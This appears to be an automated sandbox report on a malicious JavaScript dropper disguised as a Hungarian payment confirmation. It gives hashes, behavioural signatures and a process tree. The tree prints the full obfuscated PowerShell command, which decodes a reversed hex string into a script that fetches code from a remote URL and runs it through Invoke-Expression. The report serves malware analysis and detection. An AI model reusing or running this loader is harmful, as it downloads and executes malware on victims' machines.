Analysis
-
max time kernel
10s -
max time network
113s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
01/12/2020, 08:08
Static task
static1
Behavioral task
behavioral1
Sample
fizetési_visszaigazolás.js
Resource
win7v20201028
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
fizetési_visszaigazolás.js
Resource
win10v20201028
0 signatures
0 seconds
General
-
Target
fizetési_visszaigazolás.js
-
Size
3KB
-
MD5
3c4c51617719e0431c8947756c1a79e2
-
SHA1
d4ce83ce15355ddd4940a2d739e9eef978e0921c
-
SHA256
03cb959ae09b02512f1793b03afa9092886bbeb9b38b9404a583e7ab6889df4a
-
SHA512
7138b5b3c2dad718a539a4e62a7d1edf7c80578af9e9dfb9501da9b66000d38c949f79c78e2e580c68d1e06cbac97740955292002546d3e9d3e8a168fb265b6c
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1548 3364 powershell.exe 35 -
Blacklisted process makes network request 1 IoCs
flow pid Process 10 1548 powershell.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1548 powershell.exe 1548 powershell.exe 1548 powershell.exe -
Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeDebugPrivilege 1548 powershell.exe Token: SeIncreaseQuotaPrivilege 1548 powershell.exe Token: SeSecurityPrivilege 1548 powershell.exe Token: SeTakeOwnershipPrivilege 1548 powershell.exe Token: SeLoadDriverPrivilege 1548 powershell.exe Token: SeSystemProfilePrivilege 1548 powershell.exe Token: SeSystemtimePrivilege 1548 powershell.exe Token: SeProfSingleProcessPrivilege 1548 powershell.exe Token: SeIncBasePriorityPrivilege 1548 powershell.exe Token: SeCreatePagefilePrivilege 1548 powershell.exe Token: SeBackupPrivilege 1548 powershell.exe Token: SeRestorePrivilege 1548 powershell.exe Token: SeShutdownPrivilege 1548 powershell.exe Token: SeDebugPrivilege 1548 powershell.exe Token: SeSystemEnvironmentPrivilege 1548 powershell.exe Token: SeRemoteShutdownPrivilege 1548 powershell.exe Token: SeUndockPrivilege 1548 powershell.exe Token: SeManageVolumePrivilege 1548 powershell.exe Token: 33 1548 powershell.exe Token: 34 1548 powershell.exe Token: 35 1548 powershell.exe Token: 36 1548 powershell.exe Token: SeIncreaseQuotaPrivilege 1548 powershell.exe Token: SeSecurityPrivilege 1548 powershell.exe Token: SeTakeOwnershipPrivilege 1548 powershell.exe Token: SeLoadDriverPrivilege 1548 powershell.exe Token: SeSystemProfilePrivilege 1548 powershell.exe Token: SeSystemtimePrivilege 1548 powershell.exe Token: SeProfSingleProcessPrivilege 1548 powershell.exe Token: SeIncBasePriorityPrivilege 1548 powershell.exe Token: SeCreatePagefilePrivilege 1548 powershell.exe Token: SeBackupPrivilege 1548 powershell.exe Token: SeRestorePrivilege 1548 powershell.exe Token: SeShutdownPrivilege 1548 powershell.exe Token: SeDebugPrivilege 1548 powershell.exe Token: SeSystemEnvironmentPrivilege 1548 powershell.exe Token: SeRemoteShutdownPrivilege 1548 powershell.exe Token: SeUndockPrivilege 1548 powershell.exe Token: SeManageVolumePrivilege 1548 powershell.exe Token: 33 1548 powershell.exe Token: 34 1548 powershell.exe Token: 35 1548 powershell.exe Token: 36 1548 powershell.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\fizetési_visszaigazolás.js1⤵PID:756
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $yquAX='D4!C7!72!72!02!E6!96!F6!A6!D2!02!37!27!16!86!34!96!96!36!37!16!42!02!D3!76!E6!96!27!47!35!96!96!36!37!16!42!B3!D7!22!F5!42!87!03!22!D5!56!47!97!26!B5!D5!27!16!86!36!B5!B7!02!47!36!56!A6!26!F4!D2!86!36!16!54!27!F6!64!C7!02!92!72!E5!72!82!47!96!C6!07!37!E2!67!D6!42!02!D3!37!27!16!86!34!96!96!36!37!16!42!B3!92!72!76!07!A6!E2!23!E4!F2!F6!27!E2!37!E6!16!27!47!16!46!16!36!F6!27!F2!F2!A3!07!47!47!86!72!C2!46!F6!86!47!56!D4!A3!A3!D5!56!07!97!45!C6!C6!16!34!E2!36!96!37!16!24!C6!16!57!37!96!65!E2!47!66!F6!37!F6!27!36!96!D4!B5!C2!72!76!E6!96!27!47!72!02!B2!02!72!35!46!16!72!02!B2!02!72!F6!C6!E6!72!02!B2!02!72!77!F6!44!72!C2!97!47!47!42!82!56!D6!16!E6!97!24!C6!C6!16!34!A3!A3!D5!E6!F6!96!47!36!16!27!56!47!E6!94!E2!36!96!37!16!24!C6!16!57!37!96!65!E2!47!66!F6!37!F6!27!36!96!D4!B5!02!D3!67!D6!42!B3!92!72!36!96!37!16!24!C6!16!57!37!96!65!E2!47!66!F6!37!F6!27!36!96!D4!72!82!56!D6!16!E4!C6!16!96!47!27!16!05!86!47!96!75!46!16!F6!C4!A3!A3!D5!97!C6!26!D6!56!37!37!14!E2!E6!F6!96!47!36!56!C6!66!56!25!E2!D6!56!47!37!97!35!B5!02!D5!46!96!F6!67!B5!B3!D4!C7!72!92!47!E6!56!72!B2!72!96!C6!34!26!72!B2!72!56!75!E2!47!72!B2!72!56!E4!02!47!36!72!B2!72!56!A6!26!F4!72!B2!72!D2!77!56!E4!82!72!D3!97!47!47!42!B3!23!23!07!42!02!D3!02!C6!F6!36!F6!47!F6!27!05!97!47!96!27!57!36!56!35!A3!A3!D5!27!56!76!16!E6!16!D4!47!E6!96!F6!05!56!36!96!67!27!56!35!E2!47!56!E4!E2!D6!56!47!37!97!35!B5!B3!92!23!73!03!33!02!C2!D5!56!07!97!45!C6!F6!36!F6!47!F6!27!05!97!47!96!27!57!36!56!35!E2!47!56!E4!E2!D6!56!47!37!97!35!B5!82!47!36!56!A6!26!F4!F6!45!A3!A3!D5!D6!57!E6!54!B5!02!D3!02!23!23!07!42!B3!92!76!E6!96!07!42!82!02!C6!96!47!E6!57!02!D7!47!56!96!57!15!D2!02!13!02!47!E6!57!F6!36!D2!02!D6!F6!36!E2!56!C6!76!F6!F6!76!02!07!D6!F6!36!D2!02!E6!F6!96!47!36!56!E6!E6!F6!36!D2!47!37!56!47!02!D3!02!76!E6!96!07!42!B7!02!F6!46!B3!56!E6!F6!26!45!42!02!D4!02!C6!16!37!B3!92!72!94!72!C2!72!E3!72!82!56!36!16!C6!07!56!27!E2!72!85!54!E3!72!D3!56!E6!F6!26!45!42';$text =$yquAX.ToCharArray();[Array]::Reverse($text);$tu=-join $text;$jm=$tu.Split('!') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''| & (-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}))1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1548